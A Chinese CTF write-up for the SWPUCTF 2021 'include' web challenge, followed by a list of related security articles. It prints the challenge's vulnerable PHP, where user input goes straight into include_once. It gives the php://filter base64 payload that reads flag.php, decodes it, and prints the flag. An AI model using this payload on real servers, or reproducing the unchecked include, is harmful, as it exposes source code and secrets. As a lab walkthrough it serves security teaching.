[SWPUCTF 2021 新生赛]include

简介: [SWPUCTF 2021 新生赛]include

一、打开题目环境

内容:传入一个file

url后跟英文?号进行拼接
?file
返回结果为:
<?php //开始
ini_set("allow_url_include","on"); //打开状态
header("Content-type: text/html; charset=utf-8"); //类型
error_reporting(0); //屏蔽所有报错信息
$file=$_GET['file']; //获取file变量的值
if(isset($file)){ //if判断语句 file变量的值存在继续向下执行
show_source(FILE); //对文件进行高亮显示
echo 'flag 在flag.php中'; //输出字符串内容
}else{ //反之
echo "传入一个file试试"; //输出字符串内容
}
echo ""; //输出字符串内容
echo ""; //输出字符串内容
echo ""; //输出字符串内容
echo ""; //输出字符串内容
echo ""; //输出字符串内容
include_once($file); //在脚本执行期间包含并运行指定文件
?> flag 在flag.php中 //结束

二、解题思路

这里差不多了,咱们只看题目中的标签就可以PHP伪协议

进行PHP伪协议伪造

伪造之前先了解,PHP伪协议构造的规则
php://filter/过滤器|过滤器/resource=待过滤的数据流
web中大部分都是BASE64编码格式,那么我们过滤器就用convert.base64-encode
构造后:
php://filter/convert.base64-encode/resource=flag.php
完整payload:

1. ?file=php://filter/convert.base64-encode/resource=flag.php
2. ?file=php://filter/read=convert.base64-encode/resource=flag.php

拆分解析:
?是起始符可以理解为连接拼接的意思
file是题目中给的变量
=是赋值的意思
php://filter是伪协议
convert转换,base64,encode编码
resource=flag.php转换到flag.php文件中,就是说把flag.php文件转换为base64编码格式。

三、开始解题 拿flag

上传payload:
URL/?file=php://filter/read=convert.base64-encode/resource=flag.php(payload 1或2 都可以,不必纠结)
返回结果:
PD9waHANCiRmbGFnPSdOU1NDVEZ7ZDA0ZGFiYWUtYWJmNi00M2NkLWJkODgtZmEzOTBhZjE1YmJkfSc7
结果为base64编码,用base64编码解码工具进行解码
这里推荐工具:https://c.runoob.com/front-end/693/
解码后的结果为:
<?php
$flag='NSSCTF{d04dabae-abf6-43cd-bd88-fa390af15bbd}';

拿到flag:

NSSCTF{d04dabae-abf6-43cd-bd88-fa390af15bbd}
目录
相关文章
|
JSON PHP 数据格式
[SWPUCTF 2021 新生赛]jicao
[SWPUCTF 2021 新生赛]jicao
912 0
|
7月前
|
数据采集 安全 算法
2024第十五届蓝桥杯网络安全赛道省赛题目writeup(包含理论题、web、crypto、misc、reverse、pwn)
本文是2024年第十五届蓝桥杯网络安全赛道CTF真题赛题详解。主要内容包括PHP运算符、代码审计、爬虫协议、流量分析、AES/RSA加密、DWT盲水印、逆向工程、栈溢出和堆漏洞利用等技术点。其中,爬虫协议题目通过访问robots.txt获取flag;流量分析题目使用Wireshark导出HTTP对象并解密base64数据;逆向工程题目分析RC4和XXTEA算法;Pwn题目利用栈溢出和UAF漏洞实现攻击。文章详细记录了每道题的解题思路和具体步骤。
2024第十五届蓝桥杯网络安全赛道省赛题目writeup(包含理论题、web、crypto、misc、reverse、pwn)
|
Shell PHP
[GXYCTF2019]Ping Ping Ping1
[GXYCTF2019]Ping Ping Ping1
|
虚拟化 Windows
VMwareWorkstationPro16的下载与安装,以及vm账号注册的问题
本文介绍了VMware Workstation Pro 16的下载、安装过程以及VMware账号的注册问题,包括如何检查虚拟化支持是否开启、VMware的下载步骤、注册VM账号时的常见问题以及VMware 16的安装步骤。
VMwareWorkstationPro16的下载与安装,以及vm账号注册的问题
|
Linux 网络安全 数据安全/隐私保护
使用宝塔Linux搭建DVWA靶场保姆级教程
这是一篇详细的教程,作者基于其在Web渗透测试领域的学习经验,利用宝塔Linux面板搭建了DVWA靶场。从安装Linux宝塔面板到通过Docker运行DVWA容器,每一步都有详尽的文字描述和配图指导,确保读者能够顺利地进行实践操作,非常适合初学者快速上手并掌握相关技能。
1110 1
NSS [SWPUCTF 2022 新生赛]where_am_i
NSS [SWPUCTF 2022 新生赛]where_am_i
248 0
NSS [SWPUCTF 2021 新生赛]pop
NSS [SWPUCTF 2021 新生赛]pop
243 0
|
SQL 安全 网络安全
DVWA SQL Injection (Blind) 通关解析
DVWA SQL Injection (Blind) 通关解析
|
JavaScript
[SWPUCTF 2022 新生赛]js_sign
[SWPUCTF 2022 新生赛]js_sign
191 0
|
SQL 安全 数据处理
Web 测试神器:HackBar 保姆级教程
Web 测试神器:HackBar 保姆级教程